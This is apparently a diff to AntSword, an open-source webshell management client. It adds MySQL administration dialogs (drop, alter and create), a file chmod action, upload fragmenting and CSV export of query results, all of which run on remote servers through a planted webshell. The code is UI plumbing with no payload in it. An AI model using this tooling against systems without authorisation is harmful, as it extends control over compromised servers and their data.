Object.keys(this.mysqlcsMapping).map((_) => {
ret.push({
text: _,
value: _,
});
})
return ret;
})() },
{ type: 'combo', label: LANG['form']['editdb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{
let ret = [];
this.mysqlcsMapping[c].map((_)=>{
ret.push({
text: _,
value: _,
});
});
return ret;
})("default")},
{ type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[
{ type:"button" , name:"updatebtn", value: `<i class="fa fa-pen"></i> ${LANG['form']['editdb']['updatebtn']}`},
{type: 'newcolumn', offset:20},
{ type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['editdb']['cancelbtn']}`},
]}
]}
], true);
form.enableLiveValidation(true);
// combo 联动
form.attachEvent("onChange",(_, id)=>{
if (_ == "characterset") {
let collcombo = form.getCombo("charactercollation");
collcombo.clearAll();
collcombo.setComboValue(null);
let ret = [];
this.mysqlcsMapping[id].map((_)=>{
ret.push({
text: _,
value: _,
});
});
collcombo.addOption(ret);
collcombo.selectOption(0);
}
});
let cscombo = form.getCombo("characterset");
cscombo.selectOption(Object.keys(this.mysqlcsMapping).indexOf(characterset));
let collcombo = form.getCombo("charactercollation");
collcombo.selectOption(this.mysqlcsMapping[characterset].indexOf(collation));
form.attachEvent("onButtonClick", (btnid)=>{
switch(btnid){
case "updatebtn":
if(form.validate()==false){break;}
let formvals = form.getValues();
let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`;
let sql = `ALTER DATABASE ${dbname} ${charset};`
this.execSQLAsync(sql, (res, err)=>{
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let data = res['text'];
let arr = data.split('\n');
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
if(arr[1].indexOf("VHJ1ZQ==")!= -1){
// 操作成功
toastr.success(LANG['form']['editdb']['success'] ,LANG_T['success']);
win.close();
// refresh
this.getDatabases(id);
return
}
toastr.error(LANG['form']['editdb']['error'], LANG_T['error']);
return
});
// 修改
break
case "cancelbtn":
win.close();
break;
}
});
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
}
delDatabase() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
layer.confirm(LANG['form']['deldb']['confirm'](dbname), {
icon: 2, shift: 6,
title: LANG['form']['deldb']['title']
}, (_) => {
layer.close(_);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `drop database ${dbname};`
this.execSQLAsync(sql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['deldb']['success'], LANG_T['success']);
this.getDatabases(id);
}else{
toastr.error(LANG['form']['deldb']['error'], LANG_T['error']);
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
});
}
// 新增表
addTable() {
// 获取配置
const id = this.tree.getSelected().split('::')[1].split(":")[0];
let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString();
const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
// let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` (
// \`id\` INT UNSIGNED AUTO_INCREMENT,
// \`title\` VARCHAR(100) NOT NULL,
// PRIMARY KEY ( \`id\` )
// );`;
// this.manager.query.editor.session.setValue(sql);
const win = this.manager.win.createWindow(hash, 0, 0, 600, 400);
win.setText(LANG['form']['addtable']['title']);
win.centerOnScreen();
win.button('minmax').hide();
win.setModal(true);
win.denyResize();
const toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: LANG['form']['addtable']['add'],
}, {
type: 'separator'
}, {
id: 'delete',
type: 'button',
icon: 'remove',
text: LANG['form']['addtable']['delete']
},{
id: 'save',
type: 'button',
icon: 'save',
text: LANG['form']['addtable']['save']
}]);
dhtmlxValidation.hasOwnProperty("isValidPositiveInteger") ? "" : dhtmlxValidation.isValidPositiveInteger = (a) => { return !!a.toString().match(/(^\d+$)/);}
const grid=win.attachGrid();
grid.clearAll();
// Name,Type,Length,Not Null,Key,Auto Increment
grid.setHeader(LANG['form']['addtable']['gridheader']);
grid.setInitWidths('*,100,80,80,50,130');
grid.setColTypes("ed,co,edn,acheck,acheck,acheck");
grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]);
grid.setEditable(true);
const combobox = grid.getCombo(1);
this.mysqlcolumntypes.forEach(v => {
combobox.put(v, v);
});
grid.enableEditEvents(false,true,true);
grid.enableEditTabOnly(true);
grid.init();
grid.clearAll();
grid.attachEvent("onCheck", (rId,cInd,state) => {
if(state == true){
switch(cInd){
case 4:
let c3 = grid.cells(rId, 3);
c3.setChecked(true);
break;
}
}
});
// grid.attachEvent("onValidationError", (rid,index,value,rule)=>{
// // toolbar.disableItem('save');
// let idx = grid.getRowIndex(rid);
// // grid.editStop();
// grid.selectCell(idx, index);
// grid.editCell();
// return true;
// });
toolbar.attachEvent('onClick',(tbid)=>{
switch(tbid){
case "add":
let ncid = (+new Date * Math.random()).toString(16).substr(2, 8);
grid.addRow(ncid, ",,0,0,0,0");
let idx = grid.getRowIndex(ncid);
grid.selectCell(idx, 0);
grid.editCell();
break;
case "delete":
var ncids = grid.getSelectedId();
if(!ncids){
toastr.warning(LANG['form']['addtable']['delete_not_select'], LANG_T['warning']);
return
}
let _ncids = ncids.split(",");
_ncids.map(_=>{
grid.deleteRow(_);
});
break;
case "save":
let rids = grid.getAllRowIds();
if(!rids){
toastr.warning(LANG['form']['addtable']['save_row_is_null'], LANG_T['warning']);
return
}
let _rids = rids.split(",");
let bdstr = "";
let pkstr = "";
for(var i=0; i< _rids.length;i++){
let cvalarr = [];
for(var j=0; j<6;j++){
if(grid.validateCell(_rids[i], j) == false){
toastr.error(LANG['form']['addtable']['cell_valid_error'](i,j), LANG_T['error']);
grid.selectCell(_rids[i], j);
grid.editCell();
return
}
var c = grid.cells(_rids[i], j);
cvalarr[j] = c.getValue();
}
let lenstr = "";
let auto_inc_str = "";
switch(cvalarr[1]){
case "varchar":
case "varbinary":
if(cvalarr[2] == "0"){
lenstr = `(255)`;
}else{
lenstr = `(${cvalarr[2]})`;
}
break;
case "int":
case "integer":
if(cvalarr[5] == "1"){
auto_inc_str = "AUTO_INCREMENT";
}
break;
default:
break;
}
let notnull = cvalarr[4] == "1" ? `NOT NULL` : (cvalarr[3] == "0" ? "": `NOT NULL`);
pkstr += cvalarr[4] == "0"? "": `\`${cvalarr[0]}\`,`;
bdstr += `\t\`${cvalarr[0]}\` ${cvalarr[1]}${lenstr} ${notnull} ${auto_inc_str},\n`;
}
layer.prompt({
value: "",
title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['addtable']['confirmtitle']}`
},(value, i, e) => {
if(!value.match(/^[a-zA-Z0-9_]+$/)){
toastr.error(LANG['form']['addtable']['invalid_tablename'], LANG_T['error']);
return
}
layer.close(i);
let pkres = pkstr.length > 0 ? `\tPRIMARY KEY ( ${pkstr.substr(0, pkstr.length-1)} )` : "";
if(pkres.length == 0) {
bdstr = bdstr.slice(0, bdstr.lastIndexOf(","));
}
let rsql = `CREATE TABLE IF NOT EXISTS \`${value}\` (\n${bdstr}\n${pkres}\n);`;
this.manager.query.editor.session.setValue(rsql);
this.execSQLAsync(rsql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['addtable']['success'],LANG_T['success']);
this.getTables(id,dbname);
win.close();
}else{
toastr.error(LANG['form']['addtable']['error'], LANG_T['error']);
}
});
});
break;
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
}
// 修改表名
editTable() {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
// const hash = (+new Date * Math.random()).toString(16).substr(2, 8);
layer.prompt({
value: tablename,
title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['edittable']['title']}`
},(value, i, e) => {
if(!value.match(/^[a-zA-Z0-9_]+$/)){
toastr.error(LANG['form']['edittable']['invalid_tablename'], LANG_T['error']);
return
}
layer.close(i);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `RENAME TABLE \`${dbname}\`.\`${tablename}\` TO \`${dbname}\`.\`${value}\`;`;
this.execSQLAsync(sql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['edittable']['success'],LANG_T['success']);
this.getTables(id,dbname);
}else{
toastr.error(LANG['form']['edittable']['error'],LANG_T['error']);
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
});
}
delTable() {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
layer.confirm(LANG['form']['deltable']['confirm'](tablename), {
icon: 2, shift: 6,
title: LANG['form']['deltable']['title']
}, (_) => {
layer.close(_);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `DROP TABLE \`${dbname}\`.\`${tablename}\`;`;
this.execSQLAsync(sql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['deltable']['success'],LANG_T['success']);
this.getTables(id,dbname);
}else{
toastr.error(LANG['form']['deltable']['error'],LANG_T['error']);
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
});
}
// 显示表结构
descTable() {
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `DESC \`${dbname}\`.\`${tablename}\`;`;
this.manager.query.editor.session.setValue(sql);
this.execSQL(sql);
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
}
showcreateTable() {
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `SHOW CREATE TABLE \`${dbname}\`.\`${tablename}\`;`;
this.manager.query.editor.session.setValue(sql);
this.execSQL(sql);
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
}
// TODO: 新增列
addColumn() {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
}
// TODO: 编辑列
editColumn() {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
let columntyperaw = this.tree.getSelectedItemText();
let columntype = null;
var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)');
var res = columntyperaw.match(ctypereg);
if (res.length == 2) {
columntype = res[1];
}
if (columntype == null) {
toastr.error(LANG['form']['editcolumn']['get_column_type_error'], LANG_T['error']);
return
}
layer.prompt({
value: columnname,
title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['editcolumn']['title']}`
},(value, i, e) => {
if(!value.match(/^[a-zA-Z0-9_]+$/)){
toastr.error(LANG['form']['editcolumn']['invalid_tablename'], LANG_T['error']);
return
}
layer.close(i);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` CHANGE COLUMN \`${columnname}\` \`${value}\` ${columntype};`;
this.manager.query.editor.session.setValue(sql);
this.execSQLAsync(sql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['editcolumn']['success'],LANG_T['success']);
this.getColumns(id,dbname,tablename);
}else{
toastr.error(LANG['form']['editcolumn']['error'],LANG_T['error']);
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
});
}
delColumn() {
// 获取配置
const treeselect = this.tree.getSelected();
const id = treeselect.split('::')[1].split(":")[0];
let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString();
let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString();
let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString();
layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), {
icon: 2, shift: 6,
title: LANG['form']['delcolumn']['title']
}, (_) => {
layer.close(_);
switch(this.dbconf['type']){
case "mysqli":
case "mysql":
let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` DROP ${columnname};`;
this.execSQLAsync(sql, (res, err) => {
if(err){
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
return;
}
let result = this.parseResult(res['text']);
if(result.datas[0][0]=='True'){
toastr.success(LANG['form']['delcolumn']['success'],LANG_T['success']);
this.getColumns(id,dbname, tablename);
}else{
toastr.error(LANG['form']['delcolumn']['error'],LANG_T['error']);
}
});
break;
default:
toastr.warning(LANG['notsupport'], LANG_T['warning']);
break;
}
});
}
// 获取数据库列表
getDatabases(id) {
this.manager.list.layout.progressOn();
......@@ -549,6 +1364,24 @@ class PHP {
});
}
// 执行SQL
execSQLAsync(sql, callback) {
this.core.request(
this.core[`database_${this.dbconf['type']}`].query({
host: this.dbconf['host'],
user: this.dbconf['user'],
passwd: this.dbconf['passwd'],
db: this.dbconf['database'],
sql: sql,
encode: this.dbconf['encode'] || 'utf8'
})
).then((res) => {
callback(res, null);
}).catch((err) => {
callback(null, err);
});
}
// 执行SQL
execSQL(sql) {
this.manager.query.layout.progressOn();
......@@ -573,6 +1406,38 @@ class PHP {
});
}
parseResult(data) {
// 1.分割数组
const arr = data.split('\n');
// 2.判断数据
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
// 3.行头
let header_arr = arr[0].split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
let data_arr = [];
arr.map((_) => {
let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) {
_data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString());
}
data_arr.push(_data);
});
data_arr.pop();
return {
headers: header_arr,
datas: data_arr
}
}
// 更新SQL执行结果
updateResult(data) {
// 1.分割数组
......@@ -595,7 +1460,7 @@ class PHP {
arr.map((_) => {
let _data = _.split('\t|\t');
for (let i = 0; i < _data.length; i ++) {
_data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString());
_data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false);
}
data_arr.push(_data);
});
......@@ -604,8 +1469,10 @@ class PHP {
const grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,''));
grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setColumnMinWidth(100, header_arr.length-1);
grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*");
grid.setEditable(true);
grid.init();
// 添加数据
......@@ -620,13 +1487,31 @@ class PHP {
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 导出查询数据
dumpResult() {
const grid = this.manager.result.layout.getAttachedObject();
let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`;
antSword['test'] = this;
dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename
},(filePath) => {
if (!filePath) { return; };
let headerStr = grid.hdrLabels.join(',');
let dataStr = grid.serializeToCSV();
let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr);
fs.writeFileSync(filePath, tempDataBuffer);
toastr.success(LANG['result']['dump']['success'], LANG_T['success']);
});
}
// 禁用toolbar按钮
disableToolbar() {
this.manager.list.toolbar.disableItem('del');
this.manager.list.toolbar.disableItem('edit');
this.manager.result.toolbar.disableItem('dump');
}
// 启用toolbar按钮
......
......@@ -323,6 +323,9 @@ class Files {
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
manager.retimeFile(id, this.getRowAttribute(_ids[0], 'data')[2]);
} },
{ text: LANG['grid']['contextmenu']['chmod'], icon: 'fa fa-users', disabled: !id || ids.length > 1, action: () => {
manager.chmodFile(id, this.getRowAttribute(_ids[0], 'data')[4]);
} },
{ divider: true },
{ text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [
{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },
......
......@@ -473,6 +473,43 @@ class FileManager {
})
}
// 设置文件和目录权限
chmodFile(name, oldmod) {
layer.prompt({
value: oldmod,
title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`,
}, (value, i, e) => {
if(!value.match(/^[0-7]{4}$/)){
toastr.error(LANG['chmod']['check'], LANG_T['error']);
return
}
this.files.cell.progressOn();
let path = this.path;
if (this.isWin) {
path = path.replace(/\//g, '\\')
}
// http request
this.core.request(
this.core.filemanager.chmod({
path: path + name,
mode: value
})
).then((res) => {
let ret = res['text'];
this.files.cell.progressOff();
if (ret === '1') {
this.files.refreshPath();
toastr.success(LANG['chmod']['success'](name), LANG_T['success']);
}else{
toastr.error(LANG['chmod']['error'](name, ret === '0' ? false : ret), LANG_T['error']);
}
}).catch((err) => {
toastr.error(LANG['chmod']['error'](name, err), LANG_T['error']);
});
layer.close(i);
});
}
// 预览文件(图片、视频)
previewFile(name, size) {
let that = this;
......@@ -490,7 +527,7 @@ class FileManager {
let down_size = 0;
this.core.download(
savepath
,this.core.filemanager.read_file({path: remote_path})
,this.core.filemanager.download_file({path: remote_path})
, (_size) => {
down_size += _size;
let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
......@@ -659,9 +696,9 @@ class FileManager {
let buffIndex = 0;
let buff = [];
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let dataSplit = 512 * 1024;
if (this.opts['type'].toLowerCase() === 'php') {
dataSplit = 1024 * 1024
let dataSplit = 500 * 1024;
if ( parseInt((this.opts.otherConf || {})['upload-fragment']) > 0 ) {
dataSplit = parseInt((this.opts.otherConf || {})['upload-fragment']) * 1024;
}
let task = tasks[filePath];
// 获取文件名
......@@ -714,8 +751,32 @@ class FileManager {
ret === '0' ? '' : `<br/>${ret}`
), LANG_T['error']);
}).catch((err) => {
task.failed(LANG['upload']['task']['error'](err));
toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']);
// 出错后友好提示
let errmsg = err;
if (err.hasOwnProperty('status') && err.hasOwnProperty('response')) {
errmsg = `${err.status} ${err.response.res.statusMessage}`;
switch(err.status) {
case 413:
errmsg += `${LANG['upload']['task']['httperr_413']}`;
break;
default:
break;
}
}else if(err.hasOwnProperty('errno')) {
switch(err.errno) {
case 'ETIME':
errmsg = `${LANG['upload']['task']['httperr_etime']}`;
break;
case 'ECONNREFUSED':
errmsg = `${LANG['upload']['task']['httperr_econnrefused']}`;
break;
default:
errmsg = `${err.errno} ${err.code}`;
break;
}
}
task.failed(LANG['upload']['task']['error'](errmsg));
toastr.error(LANG['upload']['error'](fileName, errmsg), LANG_T['error']);
});
})
}
......
......@@ -20,7 +20,8 @@ class About {
<h2>${LANG['header']}<span> v${antSword['package']['version']}</span></h2>
<p>
<a href="https://github.com/AntSwordProject/AntSword"><i class="fa fa-github-alt"></i> GitHub</a> /
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a>
<a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> /
<a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a>
</p>
</div>
`);
......
......@@ -278,6 +278,7 @@ class Form {
'ignore-https': 0,
'terminal-cache': 0,
'filemanager-cache': 1,
'upload-fragment': '500',
'request-timeout': '10000',
'command-path': ''
}, arg.otherConf);
......@@ -294,7 +295,28 @@ class Form {
}, {
type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'],
checked: opt['filemanager-cache'] === 1
},{
}, {
type: "label", label: LANG['list']['otherConf']['uploadFragment']
}, {
type: "combo", label: '/kb', inputWidth: 100, name: "upload-fragment",
options: ((items) => {
let ret = [];
// 如果自定义的路径不在items里,则++
if (items.indexOf(opt['upload-fragment']) === -1) {
items.unshift(opt['upload-fragment']);
}
items.map((_) => {
ret.push({
text: _,
value: _,
selected: opt['upload-fragment'] === _
})
});
return ret;
})([
'500', '400', '200', '100', '50', '10'
])
}, {
type: "label", label: LANG['list']['otherConf']['requestTimeout']
}, {
type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout",
......@@ -308,7 +330,7 @@ class Form {
ret.push({
text: _,
value: _,
selected: opt['command-path'] === _
selected: opt['request-timeout'] === _
})
});
return ret;
......
......@@ -41,7 +41,7 @@ class ViewSite {
}, 1000);
// 打开浏览窗口
this._loadURL(opts.url);
// this._loadURL(opts.url);
}
/**
......@@ -51,9 +51,10 @@ class ViewSite {
_initToolbar() {
const toolbar = this.cell.attachToolbar();
toolbar.loadStruct([
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },
{ type: 'separator' },
{ id: 'url', width: 400, type: 'buttonInput', value: this.opts.url || 'loading..' },
{ id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view },
{ type: 'separator' },
{ id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save },
]);
toolbar.attachEvent('onClick', (id) => {
switch(id) {
......@@ -61,9 +62,18 @@ class ViewSite {
this._saveCookie();
break;
case 'view':
this._loadURL(this.opts.url);
let url = toolbar.getInput('url').value;
this._loadURL(url);
}
})
});
toolbar.attachEvent('onEnter', (id, value) => {
switch(id) {
case 'url':
let url = toolbar.getInput('url').value;
this._loadURL(url);
break;
}
});
return toolbar;
}
......@@ -159,7 +169,7 @@ class ViewSite {
webPreferences: {
nodeIntegration: false,
},
title: this.opts.url
title: url
});
win.loadURL(url);
win.show();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment